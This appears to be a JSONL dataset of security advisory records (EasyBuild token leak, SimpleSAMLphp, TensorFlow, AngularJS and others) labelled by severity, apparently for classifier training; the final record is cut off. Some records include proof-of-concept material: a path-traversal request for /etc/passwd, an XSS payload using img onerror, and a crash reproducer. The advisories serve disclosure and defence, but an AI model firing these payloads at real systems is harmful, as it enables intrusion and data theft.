-{"id": "535156454879d4c00640", "text": "GitHub personal access token leaking into temporary EasyBuild (debug) logs\n\n### Impact\n\nThe GitHub Personal Access Token (PAT) used by EasyBuild for the GitHub integration features (like `--new-pr`, `--from-pr`, etc.) is shown in plain text in EasyBuild debug log files.\n\nScope:\n\n* the log message only appears in the top-level log file, *not* in the individual software installation logs (see https://easybuild.readthedocs.io/en/latest/Logfiles.html);\n    - as a consequence, tokens are *not* included in the partial log files that are uploaded into a gist when using `--upload-test-report` in combination with `--from-pr`, nor in the installation logs that are copied to the software installation directories;\n* the message is only logged when using `--debug`, so it will not appear when using the default EasyBuild configuration (only info messages are logged by default);\n* the log message is triggered via `--from-pr`, but also via various other GitHub integration options like `--new-pr`, `--merge-pr`, `--close-pr`, etc., but usually only appears in the temporary log file that is cleaned up automatically as soon as eb completes successfully;\n* you may have several debug log files that include your GitHub token in `/tmp` (or a different location if you've set the `--tmpdir` EasyBuild configuration option) on the systems where you use EasyBuild, but they are located in a subdirectory that is only accessible to your account (permissions set to 700);\n* the only way that a log file that may include your token could have been made public is *if you shared it yourself*, for example by copying the contents of the log file into a gist manually, or by sending a log file to someone;\n* for log files uploaded to GitHub, your token would be revoked automatically when GitHub notices it;\n\n### Patches\n\nThe issue is fixed with the changes in https://github.com/easybuilders/easybuild-framework/pull/3248.\n\nThis fix is included in EasyBuild v4.1.2 (released on Mon Mar 16th 2020), and in the `master`+  `develop` branches of the `easybuild-framework` repository since Mon Mar 16th 2020 (see https://github.com/easybuilders/easybuild-framework/pull/3248 and https://github.com/easybuilders/easybuild-framework/pull/3249 resp.).\n\n**Make sure you revoke the existing GitHub tokens you're using with EasyBuild** (via https://github.com/settings/tokens), and install new ones using \"`eb --install-github-token --force`\" (see also https://easybuild.readthedocs.io/en/latest/Integration_with_GitHub.html#installing-a-github-token-install-github-token).\n\n### Workarounds\n\n* avoid using the GitHub integration features (see https://easybuild.readthedocs.io/en/latest/Integration_with_GitHub.html) with EasyBuild versions older than version 4.1.2;\n* don't share top-level EasyBuild (debug) log files with others, unless you are sure your GitHub token is not included in them;\n* clean up temporary EasyBuild log files in `/tmp`on the system(s) where you`re using EasyBuild\n\n### References\n\n* https://github.com/easybuilders/easybuild-framework/pull/3248 (PR that fixes the issue)\n* (release announcement to EasyBuild mailing list)\n\n### For more information\n\n* Open an issue in [the `easybuild-framework` repository](https://github.com/easybuilders/easybuild-framework)\n* Email us at [easybuild-admin@lists.ugent.be](mailto:easybuild-admin@lists.ugent.be)", "text_raw": "GitHub personal access token leaking into temporary EasyBuild (debug) logs\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe GitHub Personal Access Token (PAT) used by EasyBuild for the GitHub integration features (like `--new-pr`, `--from-pr`, etc.) is shown in plain text in EasyBuild debug log files.\n\nScope:\n\n* the log message only appears in the top-level log file, *not* in the individual software installation logs (see https://easybuild.readthedocs.io/en/latest/Logfiles.html);\n    - as a consequence, tokens are *not* included in the partial log files that are uploaded into a gist when using `--upload-test-report` in combination with `--from-pr`, nor in the installation logs that are copied to the software installation directories;\n* the message is only logged when using `--debug`, so it will not appear when using the default EasyBuild configuration (only info messages are logged by default);\n* the log message is triggered via `--from-pr`, but also via various other GitHub integration options like `--new-pr`, `--merge-pr`, `--close-pr`, etc., but usually only appears in the temporary log file that is cleaned up automatically as soon as eb completes successfully;\n* you may have several debug log files that include your GitHub token in `/tmp` (or a different location if you've set the `--tmpdir` EasyBuild configuration option) on the systems where you use EasyBuild, but they are located in a subdirectory that is only accessible to your account (permissions set to 700);\n* the only way that a log file that may include your token could have been made public is *if you shared it yourself*, for example by copying the contents of the log file into a gist manually, or by sending a log file to someone;\n* for log files uploaded to GitHub, your token would be revoked automatically when GitHub notices it;\n\n### Patches\n\nThe issue is fixed with the changes in https://github.com/easybuilders/easybuild-framework/pull/3248.\n\nThis fix is included in EasyBuild v4.1.2 (released on Mon Mar 16th 2020), and in the `master`+  `develop` branches of the `easybuild-framework` repository since Mon Mar 16th 2020 (see https://github.com/easybuilders/easybuild-framework/pull/3248 and https://github.com/easybuilders/easybuild-framework/pull/3249 resp.).\n\n**Make sure you revoke the existing GitHub tokens you're using with EasyBuild** (via https://github.com/settings/tokens), and install new ones using \"`eb --install-github-token --force`\" (see also https://easybuild.readthedocs.io/en/latest/Integration_with_GitHub.html#installing-a-github-token-install-github-token).\n\n### Workarounds\n\n* avoid using the GitHub integration features (see https://easybuild.readthedocs.io/en/latest/Integration_with_GitHub.html) with EasyBuild versions older than version 4.1.2;\n* don't share top-level EasyBuild (debug) log files with others, unless you are sure your GitHub token is not included in them;\n* clean up temporary EasyBuild log files in `/tmp`on the system(s) where you`re using EasyBuild\n\n### References\n\n* https://github.com/easybuilders/easybuild-framework/pull/3248 (PR that fixes the issue)\n* (release announcement to EasyBuild mailing list)\n\n### For more information\n\n* Open an issue in [the `easybuild-framework` repository](https://github.com/easybuilders/easybuild-framework)\n* Email us at [easybuild-admin@lists.ugent.be](mailto:easybuild-admin@lists.ugent.be)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-19", "split": "train"}
-{"id": "df8694a5e56edd239c08", "text": "Cross-site scripting in SimpleSAMLphp\n\n### Background\n\nSimpleSAMLphp allows users to report errors and failures to the system administrators via a web form. This web form gathers some contextual information automatically, but it also allows the user to provide their email address for follow-ups and a free-text explanation of what happened. Once submitted, the report is sent as an email to the administrative email address configured in the software.\n\n### Description\n\nThe `www/erroreport.php` script allows error reports to be submitted and sent to the system administrator. Starting with SimpleSAMLphp  1.18.0, a new `SimpleSAML\\Utils\\EMail` class was introduced to handle sending emails, implemented as a wrapper of an external dependency.\n\nThis new wrapper allows us to use Twig templates in order to create the email sent with an error report. Since Twig provides automatic escaping of variables, manual escaping of the free-text field in `www/errorreport.php` was removed to avoid double escaping. However, for those not using the new user interface yet, an email template is hardcoded into the class itself in plain PHP. Since no escaping is provided in this template, it is then possible to inject HTML inside the template by manually crafting the contents of the free-text field.\n\n### Affected versions\n\nSimpleSAMLphp versions 1.18.0 to 1.18.3, both inclusive.\n\n### Impact\n\nAn attacker may take advantage of this issue to manually craft a modified email sent via the error reporting mechanism, such as this email might trick a system administrator into performing an action, such as introducing their credentials into a phishing web site that resembles the original.\n\nRemote execution of javascript code is considered unfeasible since email clients do not run javascript present in emails, although there might be email clients which don't follow this rule, making the attack surface grow.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version 1.18.4.\n\n### Credit\n\nThis vulnerability was discovered and reported by Frederic Vleminckx.", "text_raw": "Cross-site scripting in SimpleSAMLphp\n\n[Severity: LOW]\n\n### Background\n\nSimpleSAMLphp allows users to report errors and failures to the system administrators via a web form. This web form gathers some contextual information automatically, but it also allows the user to provide their email address for follow-ups and a free-text explanation of what happened. Once submitted, the report is sent as an email to the administrative email address configured in the software.\n\n### Description\n\nThe `www/erroreport.php` script allows error reports to be submitted and sent to the system administrator. Starting with SimpleSAMLphp  1.18.0, a new `SimpleSAML\\Utils\\EMail` class was introduced to handle sending emails, implemented as a wrapper of an external dependency.\n\nThis new wrapper allows us to use Twig templates in order to create the email sent with an error report. Since Twig provides automatic escaping of variables, manual escaping of the free-text field in `www/errorreport.php` was removed to avoid double escaping. However, for those not using the new user interface yet, an email template is hardcoded into the class itself in plain PHP. Since no escaping is provided in this template, it is then possible to inject HTML inside the template by manually crafting the contents of the free-text field.\n\n### Affected versions\n\nSimpleSAMLphp versions 1.18.0 to 1.18.3, both inclusive.\n\n### Impact\n\nAn attacker may take advantage of this issue to manually craft a modified email sent via the error reporting mechanism, such as this email might trick a system administrator into performing an action, such as introducing their credentials into a phishing web site that resembles the original.\n\nRemote execution of javascript code is considered unfeasible since email clients do not run javascript present in emails, although there might be email clients which don't follow this rule, making the attack surface grow.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version 1.18.4.\n\n### Credit\n\nThis vulnerability was discovered and reported by Frederic Vleminckx.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "28ebfe75d653283a18f6", "text": "Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA)\n\nCisco Adaptive Security Appliance (ASA) contains an improper input validation vulnerability with HTTP URLs. Exploitation could allow an attacker to cause a denial-of-service (DoS) condition or information disclosure.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco Adaptive Security Appliance (ASA) Denial-of-Service Vulnerability\n\nAffected: Cisco Adaptive Security Appliance (ASA)\n\nCisco Adaptive Security Appliance (ASA) contains an improper input validation vulnerability with HTTP URLs. Exploitation could allow an attacker to cause a denial-of-service (DoS) condition or information disclosure.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "ec6655ca94ebdd1b2331", "text": "Withdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in Ember.js 1.8.x through 1.10.x, 1.11.x before 1.11.4, 1.12.x before 1.12.2, 1.13.x before 1.13.12, 2.0.x before 2.0.3, 2.1.x before 2.1.2, and 2.2.x before 2.2.1 allows remote attackers to inject arbitrary web script or HTML.", "text_raw": "Moderate severity vulnerability that affects ember\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nCross-site scripting (XSS) vulnerability in Ember.js 1.8.x through 1.10.x, 1.11.x before 1.11.4, 1.12.x before 1.12.2, 1.13.x before 1.13.12, 2.0.x before 2.0.3, 2.1.x before 2.1.2, and 2.2.x before 2.2.1 allows remote attackers to inject arbitrary web script or HTML.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "060ec4b465ce5d9047f3", "text": "Segfault in SparseCountSparseOutput\n\n### Impact\nSpecifying a negative dense shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken.\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0, 0], dtype=tf.int64)\ndense_shape = tf.constant([-100, -100, -100], shape=[3], dtype=tf.int64)\nweights = tf.constant([], shape=[0, 0], dtype=tf.int64)\n\ntf.raw_ops.SparseCountSparseOutput(indices=indices, values=values, dense_shape=dense_shape, weights=weights, minlength=79, maxlength=96, binary_output=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213) assumes the first element of the dense shape is always positive and uses it to initialize a `BatchedMap<T>` (i.e., [`std::vector<absl::flat_hash_map<int64,T>>`](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27)) data structure.\n\n```cc\n  bool is_1d = shape.NumElements() == 1;\n  int num_batches = is_1d ? 1 : shape.flat<int64>()(0);\n  ...\n  auto per_batch_counts = BatchedMap<W>(num_batches); \n```\n\nIf the `shape` tensor has more than one element, `num_batches` is the first value in `shape`.\n\nEnsuring that the `dense_shape` argument is a valid tensor shape (that is, all elements are non-negative) solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5](https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Segfault in SparseCountSparseOutput\n\n[Severity: LOW]\n\n### Impact\nSpecifying a negative dense shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken.\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0, 0], dtype=tf.int64)\ndense_shape = tf.constant([-100, -100, -100], shape=[3], dtype=tf.int64)\nweights = tf.constant([], shape=[0, 0], dtype=tf.int64)\n\ntf.raw_ops.SparseCountSparseOutput(indices=indices, values=values, dense_shape=dense_shape, weights=weights, minlength=79, maxlength=96, binary_output=False)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213) assumes the first element of the dense shape is always positive and uses it to initialize a `BatchedMap<T>` (i.e., [`std::vector<absl::flat_hash_map<int64,T>>`](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27)) data structure.\n\n```cc\n  bool is_1d = shape.NumElements() == 1;\n  int num_batches = is_1d ? 1 : shape.flat<int64>()(0);\n  ...\n  auto per_batch_counts = BatchedMap<W>(num_batches); \n```\n\nIf the `shape` tensor has more than one element, `num_batches` is the first value in `shape`.\n                       \nEnsuring that the `dense_shape` argument is a valid tensor shape (that is, all elements are non-negative) solves this issue.\n\n### Patches\nWe have patched the issue in GitHub commit [c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5](https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "e54bf640c17b1ae1ded8", "text": "KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure", "text_raw": "KevinLAB BEMS 1.0 Authenticated File Path Traversal Information Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-07-20", "split": "train"}
-{"id": "45bce113143032cf2efd", "text": "Sensitive Data Exposure in msrcrypto\n\nVersions of `msrcrypto` prior to 1.4.1 are vulnerable to Sensitive Data Exposure. The package's Elliptic Curve Cryptography (ECC) implementation may leak information about a server's private ECC key. It can also allow attackers to craft invalid ECDSA signatures that pass as valid. There is no published proof-of-concept for this vulnerability.\n\n## Recommendation\n\nUpgrade to version 1.4.1 or later.", "text_raw": "Sensitive Data Exposure in msrcrypto\n\n[Severity: CRITICAL]\n\nVersions of `msrcrypto` prior to 1.4.1 are vulnerable to Sensitive Data Exposure. The package's Elliptic Curve Cryptography (ECC) implementation may leak information about a server's private ECC key. It can also allow attackers to craft invalid ECDSA signatures that pass as valid. There is no published proof-of-concept for this vulnerability.\n\n\n## Recommendation\n\nUpgrade to version 1.4.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-10", "split": "train"}
-{"id": "b7bf923be6cd5109ce94", "text": "keycloak Self Stored Cross-site Scripting vulnerability\n\nA flaw was found in keycloak in versions before 13.0.0. A Self Stored XSS attack vector escalating to a complete account takeover is possible due to user-supplied data fields not being properly encoded and Javascript code being used to process the data. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "text_raw": "keycloak Self Stored Cross-site Scripting vulnerability\n\n[Severity: CRITICAL]\n\nA flaw was found in keycloak in versions before 13.0.0. A Self Stored XSS attack vector escalating to a complete account takeover is possible due to user-supplied data fields not being properly encoded and Javascript code being used to process the data. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-08", "split": "train"}
-{"id": "5256027ec9b42b55cf0f", "text": "Malicious Package in ecruve\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in ecruve\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4a2f1802b09c2e9836fc", "text": "Policies not properly enforced in OWASP Java HTML Sanitizer\n\nThe OWASP Java HTML Sanitizer before 20211018.1 does not properly enforce policies associated with the `SELECT`, `STYLE`, and `OPTION` elements.", "text_raw": "Policies not properly enforced in OWASP Java HTML Sanitizer\n\n[Severity: CRITICAL]\n\nThe OWASP Java HTML Sanitizer before 20211018.1 does not properly enforce policies associated with the `SELECT`, `STYLE`, and `OPTION` elements.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "5805195030e82c8a4cfb", "text": "Cross-site Scripting in github.com/schollz/rwtxt\n\nCross-site scripting vulnerability in rwtxt versions prior to v1.8.6 allows a remote attacker to inject an arbitrary script via unspecified vectors.", "text_raw": "Cross-site Scripting in github.com/schollz/rwtxt\n\n[Severity: MEDIUM]\n\nCross-site scripting vulnerability in rwtxt versions prior to v1.8.6 allows a remote attacker to inject an arbitrary script via unspecified vectors.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-29", "split": "train"}
-{"id": "cdcdaacd4eb77c170be1", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Tomcat\n\nWhen responding to new h2c connection requests, Apache Tomcat versions 10.0.0-M1 to 10.0.0, 9.0.0.M1 to 9.0.41 and 8.5.0 to 8.5.61 could duplicate request headers and a limited amount of request body from one request to another meaning user A and user B could both see the results of user A's request.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Tomcat\n\n[Severity: HIGH]\n\nWhen responding to new h2c connection requests, Apache Tomcat versions 10.0.0-M1 to 10.0.0, 9.0.0.M1 to 9.0.41 and 8.5.0 to 8.5.61 could duplicate request headers and a limited amount of request body from one request to another meaning user A and user B could both see the results of user A's request.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "61daa4cffe99e5742a0e", "text": "Double free in through\n\nAn issue was discovered in the through crate through 2021-02-18 for Rust. There is a double free (in through and through_and) upon a panic of the map function.", "text_raw": "Double free in through\n\n[Severity: CRITICAL]\n\nAn issue was discovered in the through crate through 2021-02-18 for Rust. There is a double free (in through and through_and) upon a panic of the map function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c506fa703d19197791a3", "text": "DLL Injection in kerberos\n\nVersion of `kerberos` prior to 1.0.0 are vulnerable to DLL Injection. The package loads DLLs without specifying a full path. This may allow attackers to create a file with the same name in a folder that precedes the intended file in the DLL path search. Doing so would allow attackers to execute arbitrary code in the machine.\n\n## Recommendation\n\nUpgrade to version 1.0.0 or later.", "text_raw": "DLL Injection in kerberos\n\n[Severity: HIGH]\n\nVersion of `kerberos` prior to 1.0.0 are vulnerable to DLL Injection. The package loads DLLs without specifying a full path. This may allow attackers to create a file with the same name in a folder that precedes the intended file in the DLL path search. Doing so would allow attackers to execute arbitrary code in the machine.\n\n\n## Recommendation\n\nUpgrade to version 1.0.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "12c98937ab1e3f3d7b17", "text": "Directory Traversal in uv-tj-demo\n\nAffected versions of `uv-tj-demo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in uv-tj-demo\n\n[Severity: HIGH]\n\nAffected versions of `uv-tj-demo` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9f3add4a51c45e9d3704", "text": "Potential Zip Slip Vulnerability in baserCMS\n\nThere is a OS Command Injection Vulnerability on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\nTarget\nbaserCMS 4.5.3 and earlier versions\n\nVulnerability\nOS Command Injection Vulnerability.\n\nCountermeasures\nUpdate to the latest version of baserCMS\n\nCredits\nDaniele Scanu @SoterItSecurity", "text_raw": "Potential Zip Slip Vulnerability in baserCMS\n\n[Severity: HIGH]\n\nThere is a OS Command Injection Vulnerability on the management system of baserCMS.\n\nThis is a vulnerability that needs to be addressed when the management system is used by an unspecified number of users.\nIf you are eligible, please update to the new version as soon as possible.\n\nTarget\nbaserCMS 4.5.3 and earlier versions\n\nVulnerability\nOS Command Injection Vulnerability.\n\nCountermeasures\nUpdate to the latest version of baserCMS\n\nCredits\nDaniele Scanu @SoterItSecurity", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "81c25e6452dd2beac90a", "text": "[Unknown] X509_to_X509_REQ NULL pointer deref\n\nX509_to_X509_REQ NULL pointer deref (CVE-2015-0288)\n===================================================\n\nThe function X509_to_X509_REQ will crash with a NULL pointer dereference if the certificate key is invalid. This function is rarely used in practice.\n\nThis issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0 and 0.9.8.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2a\nOpenSSL 1.0.1 users should upgrade to 1.0.1m.\nOpenSSL 1.0.0 users should upgrade to 1.0.0r.\nOpenSSL 0.9.8 users should upgrade to 0.9.8zf.\n\nThis issue was discovered by Brian Carpenter and a fix developed by Stephen Henson of the OpenSSL development team.", "text_raw": "[Unknown] X509_to_X509_REQ NULL pointer deref\n\nX509_to_X509_REQ NULL pointer deref (CVE-2015-0288)\n===================================================\n\nSeverity: Low\n\nThe function X509_to_X509_REQ will crash with a NULL pointer dereference if the certificate key is invalid. This function is rarely used in practice.\n\nThis issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0 and 0.9.8.\n\nOpenSSL 1.0.2 users should upgrade to 1.0.2a\nOpenSSL 1.0.1 users should upgrade to 1.0.1m.\nOpenSSL 1.0.0 users should upgrade to 1.0.0r.\nOpenSSL 0.9.8 users should upgrade to 0.9.8zf.\n\nThis issue was discovered by Brian Carpenter and a fix developed by Stephen Henson of the OpenSSL development team.", "severity": "low", "severity_label": 0, "source": "hackerone", "timestamp": "2015-03-15", "split": "train"}
-{"id": "d01fb6c120fa2f225942", "text": "Insecure Permissions in Gogs\n\nroutes/api/v1/api.go in Gogs 0.11.86 lacks permission checks for routes: deploy keys, collaborators, and hooks.", "text_raw": "Insecure Permissions in Gogs\n\n[Severity: CRITICAL]\n\nroutes/api/v1/api.go in Gogs 0.11.86 lacks permission checks for routes: deploy keys, collaborators, and hooks.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "2f89454d1779d34025df", "text": "Downloads Resources over HTTP in openframe-glslviewer\n\nAffected versions of `openframe-glslviewer` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `openframe-glslviewer`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package hasn't been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in openframe-glslviewer\n\n[Severity: HIGH]\n\nAffected versions of `openframe-glslviewer` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `openframe-glslviewer`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package hasn't been updated since 2014.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "71978cb10a71969013a5", "text": "Improper Input Validation in HashiCorp Consul\n\nHashiCorp Consul and Consul Enterprise did not appropriately enforce scope for local tokens issued by a primary data center, where replication to a secondary data center was not enabled. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4.\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent", "text_raw": "Improper Input Validation in HashiCorp Consul\n\n[Severity: MEDIUM]\n\nHashiCorp Consul and Consul Enterprise did not appropriately enforce scope for local tokens issued by a primary data center, where replication to a secondary data center was not enabled. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4.\n### Specific Go Packages Affected\ngithub.com/hashicorp/consul/agent", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "fee9bab7cdf3695dfb7c", "text": "XSS via JQLite DOM manipulation functions in AngularJS\n\n### Summary\nXSS may be triggered in AngularJS applications that sanitize user-controlled HTML snippets before passing them to `JQLite` methods like `JQLite.prepend`, `JQLite.after`, `JQLite.append`, `JQLite.replaceWith`, `JQLite.append`, `new JQLite` and `angular.element`.\n\n### Description\n\nJQLite (DOM manipulation library that's part of AngularJS) manipulates input HTML before inserting it to the DOM in `jqLiteBuildFragment`.\n\nOne of the modifications performed [expands an XHTML self-closing tag](https://github.com/angular/angular.js/blob/418355f1cf9a9a9827ae81d257966e6acfb5623a/src/jqLite.js#L218).\n\nIf `jqLiteBuildFragment` is called (e.g. via `new JQLite(aString)`) with user-controlled HTML string that was sanitized (e.g. with [DOMPurify](https://github.com/cure53/DOMPurify)), the transformation done by JQLite may modify some forms of an inert, sanitized payload into a payload containing JavaScript - and trigger an XSS when the payload is inserted into DOM.\n\nThis is similar to a bug in jQuery `htmlPrefilter` function that was [fixed in 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/).\n\n### Proof of concept\n\n```javascript\nconst inertPayload = `<div><style><style/><img src=x onerror=\"alert(1337)\"/>` \n```\nNote that the style element is not closed and `<img` would be a text node inside the style if inserted into the DOM as-is.\nAs such, some HTML sanitizers would leave the `<img` as is without processing it and stripping the `onerror` attribute.\n\n```javascript\nangular.element(document).append(inertPayload);\n```\nThis will alert, as `<style/>` will be replaced with `<style></style>` before adding it to the DOM, closing the style element early and reactivating `img`.\n\n### Patches\nThe issue is patched in `JQLite` bundled with angular 1.8.0. AngularJS users using JQuery should upgrade JQuery to 3.5.0, as a similar vulnerability [affects jQuery <3.5.0](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2).\n\n### Workarounds\nChanging sanitizer configuration not to allow certain tag grouping (e.g. `<option><style></option>`) or inline style elements may stop certain exploitation vectors, but it's uncertain if all possible exploitation vectors would be covered. Upgrade of AngularJS to 1.8.0 is recommended.\n\n### References\nhttps://github.com/advisories/GHSA-mhp6-pxh8-r675\nhttps://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2\nhttps://github.com/jquery/jquery/security/advisories/GHSA-jpcq-cgw6-v4j6\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://snyk.io/vuln/SNYK-JS-ANGULAR-570058", "text_raw": "XSS via JQLite DOM manipulation functions in AngularJS\n\n[Severity: MEDIUM]\n\n### Summary\nXSS may be triggered in AngularJS applications that sanitize user-controlled HTML snippets before passing them to `JQLite` methods like `JQLite.prepend`, `JQLite.after`, `JQLite.append`, `JQLite.replaceWith`, `JQLite.append`, `new JQLite` and `angular.element`.\n\n### Description\n\nJQLite (DOM manipulation library that's part of AngularJS) manipulates input HTML before inserting it to the DOM in `jqLiteBuildFragment`.\n\nOne of the modifications performed [expands an XHTML self-closing tag](https://github.com/angular/angular.js/blob/418355f1cf9a9a9827ae81d257966e6acfb5623a/src/jqLite.js#L218).\n\nIf `jqLiteBuildFragment` is called (e.g. via `new JQLite(aString)`) with user-controlled HTML string that was sanitized 